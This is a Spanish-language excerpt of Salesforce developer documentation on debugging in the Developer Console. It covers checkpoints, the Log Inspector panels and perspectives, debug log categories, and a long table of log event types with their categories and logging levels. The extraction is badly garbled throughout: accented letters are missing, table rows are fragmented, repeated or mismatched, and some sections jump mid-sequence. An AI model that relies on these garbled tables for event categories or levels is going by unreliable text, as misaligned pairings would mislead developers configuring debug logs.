Edition, Unlimited Edition y
Developer Edition
PERMISOS DE USUARIO
Para agregar o eliminar
permisos personalizados
necesarios:
Personalizar aplicacin
CONSULTE TAMBIN
Descripcin general de permisos personalizados
Depuracin
Depuracin de su cdigo
Esta seccin contiene informacin acerca de la depuracin del cdigo que est escribiendo.
Ficha Puntos de comprobacin
Inspector de puntos de comprobacin
Ficha Registros
Inspector de registros
Ejemplos de uso del Inspector de registros
Uso de registros de depuracin
Punto de comprobacin
Esta lista muestra los puntos de comprobacin disponibles actualmente para revisin. Seleccione Depuracin > Solamente mis puntos
de comprobacin actuales para mostrar solamente los puntos de comprobacin creados desde que se abri la Consola de desarrollo.
Cancele esta opcin para mostrar todos los puntos de comprobacin guardados actualmente en su organizacin, incluidos los generados
recientemente creados por otros usuarios.
Cada punto de comprobacin de la lista muestra esta informacin:
Columna
Descripcin
Espacio de nombres
Clase
Lnea
Hora
Haga clic con el botn secundario en el encabezado de alguna columna para ordenar la informacin de la columna. Tambin puede
seleccionar las columnas que desea visualizar en la lista de puntos de comprobacin.
Para abrir un punto de comprobacin, haga doble clic en l. El punto de comprobacin se abre en el Inspector de puntos de comprobacin.
Descripcin
Archivo
Lnea
Iteracin
Si el punto de comprobacin est en un bucle, este valor indica la iteracin a la que se captura el punto de
comprobacin.
De forma predeterminada, la iteracin es 1, lo que significa que el punto de comprobacin se guarda la primera vez que se ejecuta la
lnea del cdigo fuente. Puede utilizar una iteracin diferente, por ejemplo, para investigar por qu un bucle no termina cuando se
espera. Para cambiar la iteracin, haga clic en la celda que desea cambiar e introduzca un nuevo nmero. Solo se capturar un punto
de comprobacin para una lnea de cdigo especfica, independientemente de cuntas veces se ejecuta durante una solicitud.
Establezca las ubicaciones de los puntos de comprobacin en el editor de cdigo fuente. Las ubicaciones de los puntos de comprobacin
permanecen hasta que haga clic en Borrar o hasta que cierre la Consola de desarrollador.
CONSULTE TAMBIN
Inspector de puntos de comprobacin
Configuracin de puntos de control en el cdigo Apex
Superposicin de declaraciones de cdigo Apex y SOQL
Uso de la Consola de desarrollador
Cuando est solucionando un problema de tiempo de ejecucin, es posible que necesite informacin acerca del estado de una variable
o del estado de la base de datos. Es posible que desee crear una condicin especfica en la que comprobar su cdigo. La Consola del
desarrollador le permite superponer las declaraciones SOQL y el cdigo Apex que se ejecutan cuando se ejecuta el cdigo en un punto
de control.
1. Establezca puntos de control y ejecute su cdigo, luego vaya a la ficha Puntos de control.
2. Seleccione un punto de control y haga clic en Modificar propiedades.
3. Seleccione SOQL o Cdigo Apex. Para ejecutar el cdigo de diagnstico sin crear un volcado de pila en el punto de control, elimine
la seleccin de Volcado de pila.
4. Introduzca SOQL o cdigo Apex en el cuadro Secuencia de comandos de la accin y haga clic en Aceptar.
Nota: No puede consultar objetos locales porque un bloque annimo es un nuevo marco de paquete. Consulte objetos
estticos o cree nuevos objetos. Adems, no puede utilizar variables de vinculacin en consultas SOQL utilizadas en
superposiciones.
Los resultados del cdigo superpuesto aparecern en una ficha separada Resultados de consulta o Resultados de ejecucin de
Apex en el Inspector de puntos de control. Para obtener detalles acerca de los resultados de la consulta, consulte Editor de consulta.
Nota: En la ficha Resultados de ejecucin de Apex, el valor -1 indica que un campo no es aplicable.
CONSULTE TAMBIN
Configuracin de puntos de control en el cdigo Apex
Ficha Puntos de comprobacin
Inspector de puntos de comprobacin
La columna Tipos es una lista plana de las clases de todos los objetos instanciados en memoria en el punto de comprobacin,
con un recuento de cuntos se han instanciado y la cantidad de memoria consumida en bytes. Haga clic en un elemento para
ver una lista de estos objetos de la columna Instancias, con su direccin en la pila y la memoria consumida. Haga clic en una
instancia para ver las variables definidas actualmente en ese objeto en la columna Estado.
La ficha Referencias proporciona dos listas para mostrar relaciones entre smbolos en memoria. Utilice la lista Referencias entrantes
para localizar los smbolos que pueden albergar referencias a objetos de un tipo especfico. Utilice la lista Referencia a instancias
para buscar instancias especficas que albergan referencias a un smbolo. Haga doble clic para buscar esa instancia en otro lugar
de la pila.
La ficha Buscar le permite buscar smbolos en la pila por valor o direccin. Busque coincidencias parciales de los valores de
smbolo, pero las direcciones deben ser exactas. Para buscar un valor rpidamente, haga clic en el icono de bsqueda ( ) que
aparece a su derecha cuando pasa el ratn sobre l en el panel Estado.
La ficha Smbolos muestra una vista de rbol de todos los smbolos en memoria en el punto de comprobacin. sela para revisar
rpidamente el estado del sistema en la lnea de cdigo especfica (e iteracin) en la que se estableci el punto de comprobacin.
Importante: Si no ve barras de desplazamiento en los paneles del Inspector de puntos de comprobacin en un Mac, abra
Preferencias del Sistema > General y establezca Mostrar barras de desplazamiento como Siempre.
CONSULTE TAMBIN
Ficha Puntos de comprobacin
Configuracin de puntos de control en el cdigo Apex
Superposicin de declaraciones de cdigo Apex y SOQL
Ficha Registros
Utilice la ficha Registros de la Consola de desarrollador para acceder a los registros que incluyen eventos de bases de datos, procesamiento
de Apex, flujo de trabajo, llamadas y lgica de validacin.
La Consola de desarrollador consulta automticamente los registros de depuracin del usuario actual y los indica en la ficha Registros.
Por ejemplo, si tiene reglas de validacin asociadas con la insercin de un registro e inserta un nuevo registro, la Consola de desarrollador
captura un registro de depuracin para la solicitud y lo agrega a la lista.
Para abrir el registro seleccionado en el Inspector de registros, haga clic en Archivo > Abrir registro o haga doble clic en el registro
en la ficha Registros. Utilice el Inspector de registros para revisar un registro de depuracin, evaluar el cdigo Apex, realizar un
seguimiento de DML, supervisar el rendimiento, etc.
Para abrir el registro seleccionado en un editor de texto, haga clic en Archivo > Abrir registro sin procesar.
Para filtrar los registros visibles, haga clic en Filtrar y escriba el texto que desea incluir en la lista. Por ejemplo, si desea ver registros
de depuracin de un usuario especfico, escriba el nombre de ese usuario. El filtro distingue entre maysculas y minsculas.
Para eliminar todos los registros de la lista, haga clic en Depuracin > Borrar > Registro de ejecucin.
De forma predeterminada, la ficha Registros solo muestra los nuevos registros generados por el usuario actual. Para ver todos los
registros de depuracin guardados en su organizacin, incluidos los registros generados recientemente creados por otros usuarios,
haga clic en Depuracin y cancele la seleccin de Solo mostrar mis registros actuales.
Para ocultar todos los registros existentes automticamente la prxima vez que se actualice la pgina, haga clic en Depuracin y
seleccione Ocultar registros automticamente.
Para descargar una copia del registro seleccionado como archivo de texto, haga clic en Archivo > Descargar registro. El nombre
predefinido del archivo es apex.log.
Para evitar que se carguen los registros cuando abra la Consola de desarrollador, vaya a Ayuda > Preferencias y defina Evitar
registros en carga como true.
Nota: Los registros de usuario se configuran en la pgina de registro de depuracin de la organizacin. En Configuracin, haga
clic en Supervisin > Registros de depuracin o Registros > Registros de depuracin.
Inspector de registros
El Inspector de registros es un visor de ejecucin contextual que muestra el origen de una operacin, qu ha generado esa operacin
y qu ocurri despus. Utilice esta herramienta para revisar registros de depuracin que incluyen eventos de bases de datos, procesamiento
de Apex, flujo de trabajo y lgica de validacin.
Los paneles que aparecen en el Inspector de registros dependen de la perspectiva seleccionada. Para alternar perspectivas, haga clic en
Depuracin > Cambiar perspectiva. Si desea ms informacin sobre las perspectivas predeterminadas y personalizadas, consulte
Gestin de perspectivas en el Inspector de registros.
Paneles de registro
El Inspector de registros puede contener cualquiera de los siguientes paneles:
rbol de pila
Pila de ejecucin
Registro de ejecucin
Origen
Variables
Descripcin general de ejecucin
Haga clic en Depuracin > Ver paneles de registro o pulse CTRL+P para elegir entre los paneles disponibles y disear una perspectiva
personalizada.
Si disea una perspectiva personalizada que quiere volver a usar, haga clic en Depuracin > Guardar perspectiva y asgnele un nombre
que pueda recordar. Despus de guardar una perspectiva personalizada puede seleccionarla en cualquier momento que use el Inspector
de registros haciendo clic en Depuracin > Cambiar perspectiva.
La mayora de los paneles se actualiza automticamente para mostrar informacin cuando se hace clic en algn elemento de un panel
relacionado. Por ejemplo, si hace clic en un panel rbol de pila, los paneles Pila de ejecucin, Registro de ejecucin y Origen se actualizan
para mostrar la informacin sobre el objeto relacionado: De la misma forma, si hace clic en una lnea del registro de ejecucin, los paneles
rbol de pila, Pila de ejecucin y Origen se actualizan con los detalles de esa lnea. Al hacer clic en un elemento de la ficha Unidades
ejecutadas de la Descripcin general de ejecucin, se actualizan los paneles Registro de ejecucin, rbol de pila, Pila de ejecucin y
Origen.
rbol de pila
El panel rbol de pila muestra dos vistas de rbol que muestran informacin de arriba abajo, desde las llamadas de inicio al siguiente
nivel, lo que le permite ver la jerarqua de elementos en un proceso. Por ejemplo, si una clase activa una segunda clase, esta segunda
clase se muestra como un nodo secundario de la primera clase.
El rbol de ejecucin muestra cada operacin. Por ejemplo, si un bucle for activa System.debug() 8 veces, el rbol de ejecucin
muestra la duracin de cada llamada:
El rbol de rendimiento agrega operaciones para ofrecerle una mejor visin del rendimiento de una operacin en su totalidad. Usando
el mismo ejemplo que antes, el rbol de rendimiento muestra la duracin total de cada llamada hasta debug:
Este registro se gener en la ventana Ejecucin annima. Las llamadas a debug y otros mtodos desde otras ubicaciones del cdigo
se agregan en la unidad ejecutada.
Cada elemento del panel rbol de pila incluye esta informacin:
Columna
Descripcin
mbito
Unidad
Duracin
Montn
Iteraciones
Pila de ejecucin
El panel Pila de ejecucin muestra una vista de abajo arriba del elemento seleccionado actualmente en el registro de depuracin,
comenzando en la llamada del nivel inferior, seguido de la operacin que ha generado la llamada, etc.
Registro de ejecucin
El panel Registro de ejecucin contiene el registro de depuracin del proceso actual. El registro de depuracin contiene cada accin
que se ha producido en el proceso, como las llamadas de mtodo, las reglas del flujo de trabajo y las operaciones DML. Para ver las lneas
largas truncadas en la vista, pase el ratn por encima de la lnea para que emerja.
Utilice el registro de ejecucin para revisar un proceso paso a paso. Tambin puede entrar en las lneas por su cuenta o filtrar el registro
para acceder a las lneas de inters especfico:
Este marco: muestra nicamente esta regin del proceso o solo los elementos asociados con el nivel. Por ejemplo, si selecciona un
desencadenador que activa una clase, slo se visualizarn las operaciones del desencadenador. Si hace clic en
CODE_UNIT_STARTED y selecciona Este marco, solo se muestran los elementos del proceso que ocurren entre
CODE_UNIT_STARTED y el elemento asociado CODE_UNIT_ENDED.
Ejecutable: slo se muestran los elementos ejecutables en el registro de depuracin. Oculta la informacin de lmites acumulados,
como el nmero de consultas SOQL realizadas, el nmero de filas DML, etctera.
Consejo: Deje siempre Ejecutable seleccionado. Slo se desactiva si est trabajando en optimizar su proceso y necesita la
informacin de lmites especficos.
Solo depuracin: Muestra solo las declaraciones de depuracin que ha aadido al cdigo.
Filtro: muestra elementos que coinciden con lo que introduce en el campo asociado. Por ejemplo, si selecciona Filtro e introduce
DML, solamente se muestran las lneas del registro de ejecucin con la cadena "DML" en el evento o detalles. El filtro distingue entre
maysculas y minsculas.
El panel Registro de ejecucin contiene la siguiente informacin:
Columna
Descripcin
Marca de tiempo
Hora del sistema cuando se inicia el proceso, mostrada en la hora local del usuario. El formato es:
HH:MM:SS:MSS.
Evento
Evento de depuracin
Detalles
Origen
El panel de origen contiene el cdigo fuente ejecutado o las definiciones de metadatos de las entidades utilizadas durante el proceso
e indica cuntas veces se ha ejecutado una lnea de cdigo. El contenido mostrado en el panel depende de las otras selecciones realizadas
en la vista.
Para ir a una lnea especfica del cdigo, introduzca un nmero de lnea en la casilla de introduccin de texto en la parte inferior del
panel de origen y haga clic en Saltar.
Haga clic en Abrir para abrir el cdigo fuente ejecutado en la vista del editor de cdigo fuente.
Nota: Si las reglas de validacin o de flujo de trabajo se ejecutan durante el proceso, la representacin de los metadatos se muestra
en el panel de origen. No puede abrir una representacin de los metadatos desde la Consola del desarrollador. Consulte Regla
de validacin y Flujo de trabajo en la Gua del desarrollador de metadatos de la API de metadatos.
Variables
Utilice el panel Variables para descubrir cundo se ha asignado un valor a una variable y cul es ese valor. Haga clic en un evento de
Variable para cumplimentar la seccin.
Nota: El nivel de registro de cdigo Apex debe definirse a El ms exhaustivo para las asignaciones de variable que se
registren.
Otra forma de ver el contenido de las variables es usar los puntos de comprobacin, que permiten ver ms detalles sobre entidades en
memoria en un punto de ejecucin. Para obtener ms informacin, consulte Establecimiento de puntos de comprobacin en cdigo
Apex.
Tipo
Rojo
Desencadenador Antes
Naranja
Desencadenador Despus
Verde
Regla de validacin
Azul
Regla de asignacin
Morado
Si desea informacin detallada sobre un elemento especfico, haga clic en el vagn asociado de la lnea temporal. La ventana
emergente muestra informacin adicional e incluye un vnculo para desplazarse directamente al lugar relevante del registro.
Para ver los ID de los registros afectados, haga clic en el nombre del sObject en el panel izquierdo.
La ficha Lmites muestra los lmites generales del sistema por nombre y cantidad utilizados y contiene esta informacin:
Columna
Descripcin
Lmite
Cantidad del lmite utilizada por este proceso en este punto de ejecucin.
Total de solicitud
Total disponible
La ficha Plazo proporciona una representacin visual del tiempo que ha llevado cada proceso. Seleccione la opcin Escala que tiene
como resultado la vista ms til.
Columna
Descripcin
Categora
Tipo de proceso.
Milisegundos
La ficha Unidades ejecutadas muestra los recursos del sistema utilizados por cada elemento del proceso.
Los botones de la parte inferior de la ficha se pueden utilizar para filtrar informacin por tipo de elemento. Por ejemplo, si no desea
ver los detalles de los mtodos, haga clic en Mtodos. Vuelva a hacer clic en el botn para borrar el filtro.
La ficha Unidades ejecutadas contiene la siguiente informacin:
Columna
Descripcin
Qu
Nombre
Suma
Media
Mxima
Mnima
Recuento
Montn
Tipo de consulta
Columna
Descripcin
SOSL
Filas de suma
Media de filas
Filas mximas
Fila mnima
Para ordenar la informacin por una columna especfica, haga clic en su encabezado.
Importante: Si utiliza un Mac y no ve las barras de desplazamiento en los paneles del Inspector de registros, abra Preferencias
del Sistema > General y establezca Mostrar barras de desplazamiento como Siempre.
CONSULTE TAMBIN
Men de depuracin
Ficha Registros
Gestin de perspectivas en el Inspector de registros
Creacin de perspectivas personalizadas en el Inspector de registros
4. Haga clic en la ficha Lmites para verificar los lmites aplicables y en qu medida se acerca su solicitud a cada lmite aplicable. La
columna Total disponible muestra los lmites reguladores permitidos para su organizacin por tipo de operacin. La columna
Total de solicitud muestra el nmero total de solicitudes realizadas. La columna Utilizado hasta ahora muestra el nmero de
solicitudes consumidas hasta el punto de ejecucin seleccionado en el seguimiento de la pila o el registro de ejecucin.
5. Haga clic en Plazo para ver una muestra visual de las unidades del cdigo ejecutado divididas por el tipo de unidad de cdigo,
adems del total y el porcentaje del tiempo de ejecucin de cada tipo de unidad de cdigo. El plazo le permite saber rpidamente
qu partes de la solicitud han tardado ms. Seleccione un intervalo de tiempo en la parte inferior de la seccin del resumen para
aumentar o disminuir el periodo mostrado en el plazo.
En este ejemplo, las solicitudes de la base de datos tardaron ms (56,95%). Despus se encuentra la pgina Visualforce. La ltima
cantidad de tiempo se dedic al cdigo Apex. Adems, las pginas de Visualforce y el cdigo Apex se ejecutaron primero y en
ltimo lugar, mientras que las operaciones de la base de datos se llevaron a cabo entre ellas.
Visualizacin de un proceso complejo
Escenario: Su proceso es complejo, e incluye varias clases y desencadenadores de Apex, flujo de trabajo y reglas de validacin. Cules
son las mejores formas de revisar paso a paso o filtrar el registro de depuracin resultante?
1. La seccin de la pila contiene una estructura de rbol que ilustra la ruta de ejecucin de todos los elementos del nivel superior
en la solicitud. Utilcela para ver la jerarqua de los elementos cuando se ejecutan.
2. Use la casilla de introduccin Filtrar en el registro de ejecucin. Por ejemplo, si est interesado en eventos de desencadenador,
haga clic en Filtrar y escriba desencadenador. Slo se mostrarn las lneas del registro de depuracin que contengan la
palabra trigger en la seccin del registro de ejecucin.
3. Limite el mbito de la ficha Registro de ejecucin a una unidad seleccionada especfica de ejecucin seleccionando Este marco.
Por ejemplo, si selecciona una lnea que contenga CODE_UNIT_STARTED en el registro de ejecucin y hace clic en Este
marco, el registro de ejecucin slo muestra los elementos de la solicitud que se producen entre CODE_UNIT_STARTED y
su CODE_UNIT_ENDED asociado.
Nota: Si Este marco est seleccionado, el registro de ejecucin slo mostrar los elementos que se encuentran en ese
marco, no las operaciones de niveles inferiores. Por ejemplo, si un desencadenador activa una clase, slo se mostrarn las
operaciones del desencadenador en el registro de ejecucin, no las operaciones de clase.
Depuracin: perspectiva diseada para la depuracin de cdigo que incluye los paneles Registro de ejecucin, Origen y Variables.
Registrar solo: perspectiva todo propsito para ver una ejecucin del registro que incluya solamente al panel Registro de ejecucin.
Anlisis: perspectiva diseada para el anlisis de registro que incluye los paneles rbol de pila, Pila de ejecucin, Registro de ejecucin
y Descripcin general de la ejecucin.
Utilice una perspectiva que permita completar la tarea de forma rpida y sencilla. Cada desarrollador tiene un estilo distinto; si las
perspectivas predefinidas no cumplen sus necesidades, es fcil disear una propia. Si desea ms informacin, consulte Creacin de
perspectivas personalizadas en el Inspector de registros
CONSULTE TAMBIN
Inspector de registros
Creacin de perspectivas personalizadas en el Inspector de registros
La ficha Estado de visualizacin de la Consola de desarrollador funciona igual que la ficha Estado de visualizacin del pie del modo de
desarrollo de Visualforce, solo que al hacer doble clic en un nodo de carpeta no se abre una ventana de grfico circular. Consulte Acerca
de la ficha Ver estado en la Gua del desarrollador de Visualforce si desea informacin detallada.
Registros de depuracin
Uso de registros de depuracin
PERMISOS DE USUARIO
EDICIONES
"Apex de autor"
Apex de autor
Personalizar aplicacin
Un registro de depuracin puede registrar operaciones de base de datos, procesos del sistema y
errores que se producen al ejecutar una transaccin o al ejecutar pruebas de unidad. Los registros de depuracin pueden contener
informacin acerca de:
Modificaciones en base de datos
Llamadas HTTP
Errores de Apex
Recursos utilizados por Apex
Procesos de flujo de trabajo automatizado, como:
Reglas de flujo de trabajo
Reglas de asignacin
Procesos de aprobacin
Reglas de validacin
El sistema genera un registro de depuracin cada vez que se ejecuta una transaccin incluida en el criterio de filtro definido.
Las transacciones se pueden generar a partir de lo siguiente:
Interfaz de usuario de Salesforce
API
Llamadas executeanonymous
Servicios Web
Servicios de correo electrnico
Los criterios de filtro establecidos para el usuario, la consola del desarrollador o el encabezado de la API determinan lo que se incluye
en el registro de depuracin.
Nota: Los registros de depuracin no incluyen transacciones generadas por una conversin de candidatos. Por ejemplo, suponga
que un candidato convertido desencadena una regla de flujo de trabajo. El registro de depuracin no muestra que se ha activado
esta regla de flujo de trabajo.
Nota: Las entradas para eventos necesarios para procesar el registro de depuracin no se truncan y forman parte siempre del
registro de depuracin, pero otras informaciones del registro que aparecen entre las lneas iniciales y finales de estas entradas del
registro se borrarn como parte del truncamiento del registro.
CONSULTE TAMBIN
Bsqueda de un registro de depuracin
EDICIONES
"Apex de autor"
Apex de autor
Personalizar aplicacin
Descripcin
Base de datos
Incluye informacin sobre la actividad de la base de datos, incluyendo todos los datos del
lenguaje de manipulacin de datos (DML) las declaraciones o consultas en lnea SOQL o
SOSL.
Categora de registro
Descripcin
Flujo de trabajo
Incluye informacin de reglas de flujo de trabajo, como el nombre de la regla, las acciones
que se ejecutarn, etctera.
Validacin
Incluye informacin acerca de las reglas de validacin, como el nombre de la regla, si la regla
se evaluar como verdadera o falsa, etctera.
Llamada
Cdigo Apex
Incluye informacin acerca del cdigo Apex y puede incluir informacin como mensajes de
registro generados por llamadas mediante declaraciones DML, consultas SOQL o SOSL en
lnea, y la entrada y salida de los desencadenadores y la entrada y salida de cualquier mtodo
de comprobacin, etctera.
Perfil de Apex
Incluye informacin sobre perfiles acumulada, como los lmites del espacio de nombre, el
nmero de correos electrnicos enviados, etctera.
Visualforce
System
Incluye informacin sobre llamadas a todos los mtodos de sistema como el mtodo
System.debug.
El siguiente ejemplo de una lnea de registro est activado por este miniprograma de cdigo.
Miniprograma de cdigo de lnea de registro de depuracin
Nombre de objeto:
Type:Invoice_Statement__c
La tabla siguiente enumera los tipos de eventos que se registran, los campos y otra informacin registrada con cada evento y la
combinacin de categora y nivel de registro que permite registrar un evento.
Nombre del evento
Categora Nivel
registrada registrado
BULK_HEAP_ALLOCATE
Cdigo
Apex
FINEST
CALLOUT_REQUEST
Llamada
INFO y
anteriores
CALLOUT_RESPONSE
Llamada
INFO y
anteriores
CODE_UNIT_FINISHED
Ninguno
Cdigo
Apex
ERROR y
anteriores
CODE_UNIT_STARTED
Cdigo
Apex
ERROR y
anteriores
DEBUG y
anterior
CONSTRUCTOR_EXIT
Cdigo
Apex
DEBUG y
anterior
CUMULATIVE_LIMIT_USAGE
Ninguno
Perfil de
Apex
INFO y
anteriores
Categora Nivel
registrada registrado
CUMULATIVE_LIMIT_USAGE_END
Ninguno
Perfil de
Apex
INFO y
anteriores
CUMULATIVE_PROFILING
Ninguno
Perfil de
Apex
FINE y
anteriores
CUMULATIVE_PROFILING_BEGIN
Ninguno
Perfil de
Apex
FINE y
anteriores
CUMULATIVE_PROFILING_END
Ninguno
Perfil de
Apex
FINE y
anteriores
DML_BEGIN
DB
INFO y
anteriores
DML_END
Nmero de lnea
DB
INFO y
anteriores
EMAIL_QUEUE
Nmero de lnea
Cdigo
Apex
INFO y
anteriores
ENTERING_MANAGED_PKG
Cdigo
Apex
INFO y
anteriores
EXCEPTION_THROWN
Cdigo
Apex
INFO y
anteriores
EXECUTION_FINISHED
Ninguno
Cdigo
Apex
ERROR y
anteriores
EXECUTION_STARTED
Ninguno
Cdigo
Apex
ERROR y
anteriores
FATAL_ERROR
Cdigo
Apex
ERROR y
anteriores
FLOW_ACTIONCALL_DETAIL
FINER y
anteriores
FLOW_ASSIGNMENT_DETAIL
Flujo de
trabajo
FINER y
anteriores
FLOW_BULK_ELEMENT_BEGIN
Flujo de
trabajo
FINE y
anteriores
FLOW_BULK_ELEMENT_DETAIL
FINER y
anteriores
FLOW_BULK_ELEMENT_END
FINE y
anteriores
Flujo de
trabajo
Categora Nivel
registrada registrado
FLOW_CREATE_INTERVIEW_BEGIN
INFO y
anteriores
FLOW_CREATE_INTERVIEW_END
Flujo de
trabajo
INFO y
anteriores
FLOW_CREATE_INTERVIEW_ERROR
ERROR y
anteriores
FLOW_ELEMENT_BEGIN
Flujo de
trabajo
FINE y
anteriores
FLOW_ELEMENT_END
Flujo de
trabajo
FINE y
anteriores
FLOW_ELEMENT_ERROR
Flujo de
trabajo
ERROR y
anteriores
FLOW_ELEMENT_ERROR
Flujo de
trabajo
ERROR y
anteriores
FLOW_ELEMENT_ERROR
Flujo de
trabajo
ERROR y
anteriores
FLOW_ELEMENT_ERROR
Flujo de
trabajo
ERROR y
anteriores
FLOW_ELEMENT_ERROR
Flujo de
trabajo
ERROR y
anteriores
FLOW_ELEMENT_FAULT
Flujo de
trabajo
ADVERTENCIA
y anteriores
FLOW_ELEMENT_FAULT
Flujo de
trabajo
FINER y
anteriores
FLOW_LOOP_DETAIL
FLOW_RULE_DETAIL
Flujo de
trabajo
FINER y
anteriores
FLOW_START_INTERVIEW_BEGIN
Flujo de
trabajo
INFO y
anteriores
FLOW_START_INTERVIEW_END
Flujo de
trabajo
INFO y
anteriores
FLOW_START_INTERVIEWS_BEGIN
Solicitudes
Flujo de
trabajo
INFO y
anteriores
Categora Nivel
registrada registrado
FLOW_START_INTERVIEWS_END
Solicitudes
Flujo de
trabajo
INFO y
anteriores
FLOW_START_INTERVIEWS_ERROR
Flujo de
trabajo
ERROR y
anteriores
FLOW_SUBFLOW_DETAIL
Flujo de
trabajo
FINER y
anteriores
FLOW_VALUE_ASSIGNMENT
Flujo de
trabajo
FINER y
anteriores
Flujo de
trabajo
FINER y
anteriores
FLOW_WAIT_EVENT_WAITING_DETAIL
FINER y
anteriores
FLOW_WAIT_RESUMING_DETAIL
Flujo de
trabajo
FINER y
anteriores
FLOW_WAIT_WAITING_DETAIL
Flujo de
trabajo
FINER y
anteriores
HEAP_ALLOCATE
Cdigo
Apex
FINER y
anteriores
HEAP_DEALLOCATE
Cdigo
Apex
FINER y
anteriores
IDEAS_QUERY_EXECUTE
Nmero de lnea
DB
FINEST
LIMIT_USAGE_FOR_NS
Perfil de
Apex
FINEST
Categora Nivel
registrada registrado
METHOD_ENTRY
DEBUG y
anterior
METHOD_EXIT
DEBUG y
anterior
INFO y
anteriores
PUSH_NOTIFICATION_INVALID_APP
Cdigo
Apex
ERROR
Cdigo
Apex
ERROR
aplicacin.
Este evento indica que el certificado no es vlido. Por
ejemplo, ha caducado.
Categora Nivel
registrada registrado
Cdigo
Apex
ERROR
Cdigo
Apex
DEBUG
PUSH_NOTIFICATION_NOT_ENABLED
INFO
PUSH_NOTIFICATION_SENT
DEBUG
Cdigo
Apex
INFO y
anteriores
QUERY_MORE_BEGIN
Nmero de lnea
DB
INFO y
anteriores
QUERY_MORE_END
Nmero de lnea
DB
INFO y
anteriores
QUERY_MORE_ITERATIONS
DB
INFO y
anteriores
queryMore
SAVEPOINT_ROLLBACK
DB
INFO y
anteriores
SAVEPOINT_SET
DB
INFO y
anteriores
Categora Nivel
registrada registrado
SLA_END
Flujo de
trabajo
INFO y
anteriores
SLA_EVAL_MILESTONE
Flujo de
trabajo
INFO y
anteriores
SLA_NULL_START_DATE
Ninguno
Flujo de
trabajo
INFO y
anteriores
SLA_PROCESS_CASE
Id. de caso
Flujo de
trabajo
INFO y
anteriores
SOQL_EXECUTE_BEGIN
INFO y
anteriores
SOQL_EXECUTE_END
DB
INFO y
anteriores
SOSL_EXECUTE_BEGIN
DB
INFO y
anteriores
SOSL_EXECUTE_END
DB
INFO y
anteriores
STACK_FRAME_VARIABLE_LIST
FINE y
anteriores
var1:50
var2:'Hello World'
STATEMENT_EXECUTE
Nmero de lnea
Cdigo
Apex
FINER y
anteriores
STATIC_VARIABLE_LIST
Perfil de
Apex
FINE y
anteriores
var1:50
var2:'Hello World'
SYSTEM_CONSTRUCTOR_ENTRY
System
DEBUG y
anterior
SYSTEM_CONSTRUCTOR_EXIT
System
DEBUG y
anterior
SYSTEM_METHOD_ENTRY
System
DEBUG y
anterior
Categora Nivel
registrada registrado
SYSTEM_METHOD_EXIT
System
DEBUG y
anterior
SYSTEM_MODE_ENTER
Nombre de modo
System
INFO y
anteriores
SYSTEM_MODE_EXIT
Nombre de modo
System
INFO y
anteriores
TESTING_LIMITS
Ninguno
Perfil de
Apex
INFO y
anteriores
TOTAL_EMAIL_RECIPIENTS_QUEUED
Perfil de
Apex
FINE y
anteriores
USER_DEBUG
Cdigo
Apex
DEBUG y
anteriores por
defecto. Si el
usuario
define el nivel
de registro
del mtodo
System.Debug,
el evento se
registra en el
nivel en su
lugar.
VALIDATION_ERROR
Mensaje de error
Validacin
INFO y
anteriores
VALIDATION_FAIL
Ninguno
Validacin
INFO y
anteriores
VALIDATION_FORMULA
Validacin
INFO y
anteriores
VALIDATION_PASS
Ninguno
Validacin
INFO y
anteriores
VALIDATION_RULE
Nombre de regla
Validacin
INFO y
anteriores
VARIABLE_ASSIGNMENT
FINEST
VARIABLE_SCOPE_BEGIN
FINEST
Categora Nivel
registrada registrado
VARIABLE_SCOPE_END
Ninguno
Cdigo
Apex
VF_APEX_CALL
INFO y
anteriores
VF_DESERIALIZE_VIEWSTATE_BEGIN
Visualforce
INFO y
anteriores
VF_DESERIALIZE_VIEWSTATE_END
Ninguno
Visualforce
INFO y
anteriores
VF_EVALUATE_FORMULA_BEGIN
Visualforce
FINER y
anteriores
VF_EVALUATE_FORMULA_END
Ninguno
Visualforce
FINER y
anteriores
VF_PAGE_MESSAGE
Cdigo
Apex
INFO y
anteriores
VF_SERIALIZE_VIEWSTATE_BEGIN
Visualforce
INFO y
anteriores
VF_SERIALIZE_VIEWSTATE_END
Ninguno
Visualforce
INFO y
anteriores
WF_ACTION
Descripcin de la accin
Flujo de
trabajo
INFO y
anteriores
WF_ACTION_TASK
Flujo de
trabajo
INFO y
anteriores
WF_ACTIONS_END
Flujo de
trabajo
INFO y
anteriores
WF_APPROVAL
INFO y
anteriores
WF_APPROVAL_REMOVE
EntityName: NameField Id
Flujo de
trabajo
INFO y
anteriores
WF_APPROVAL_SUBMIT
EntityName: NameField Id
Flujo de
trabajo
INFO y
anteriores
WF_ASSIGN
Flujo de
trabajo
INFO y
anteriores
WF_CRITERIA_BEGIN
Flujo de
regla, Id. de regla y tipo de desencadenador (si la regla trabajo
respeta los tipos de desencadenadores)
INFO y
anteriores
WF_CRITERIA_END
INFO y
anteriores
FINEST
Categora Nivel
registrada registrado
WF_EMAIL_ALERT
Flujo de
trabajo
INFO y
anteriores
WF_EMAIL_SENT
INFO y
anteriores
WF_ENQUEUE_ACTIONS
Flujo de
trabajo
INFO y
anteriores
WF_ESCALATION_ACTION
Flujo de
trabajo
INFO y
anteriores
WF_ESCALATION_RULE
Ninguno
Flujo de
trabajo
INFO y
anteriores
WF_EVAL_ENTRY_CRITERIA
INFO y
anteriores
WF_FIELD_UPDATE
objeto o campo
trabajo
INFO y
anteriores
WF_FORMULA
Flujo de
trabajo
INFO y
anteriores
WF_HARD_REJECT
Ninguno
Flujo de
trabajo
INFO y
anteriores
WF_NEXT_APPROVER
Flujo de
trabajo
INFO y
anteriores
WF_NO_PROCESS_FOUND
Ninguno
Flujo de
trabajo
INFO y
anteriores
WF_OUTBOUND_MSG
y regla
trabajo
INFO y
anteriores
WF_PROCESS_NODE
Flujo de
trabajo
INFO y
anteriores
WF_REASSIGN_RECORD
trabajo
INFO y
anteriores
WF_RESPONSE_NOTIFY
Flujo de
trabajo
INFO y
anteriores
WF_RULE_ENTRY_ORDER
Flujo de
trabajo
INFO y
anteriores
WF_RULE_EVAL_BEGIN
Tipo de regla
Flujo de
trabajo
INFO y
anteriores
WF_RULE_EVAL_END
Ninguno
Flujo de
trabajo
INFO y
anteriores
Categora Nivel
registrada registrado
WF_RULE_EVAL_VALUE
Valor
Flujo de
trabajo
INFO y
anteriores
WF_RULE_FILTER
Criterios de filtro
Flujo de
trabajo
INFO y
anteriores
WF_RULE_INVOCATION
EntityName: NameField Id
Flujo de
trabajo
INFO y
anteriores
WF_RULE_NOT_EVALUATED
Ninguno
Flujo de
trabajo
INFO y
anteriores
WF_SOFT_REJECT
Flujo de
trabajo
INFO y
anteriores
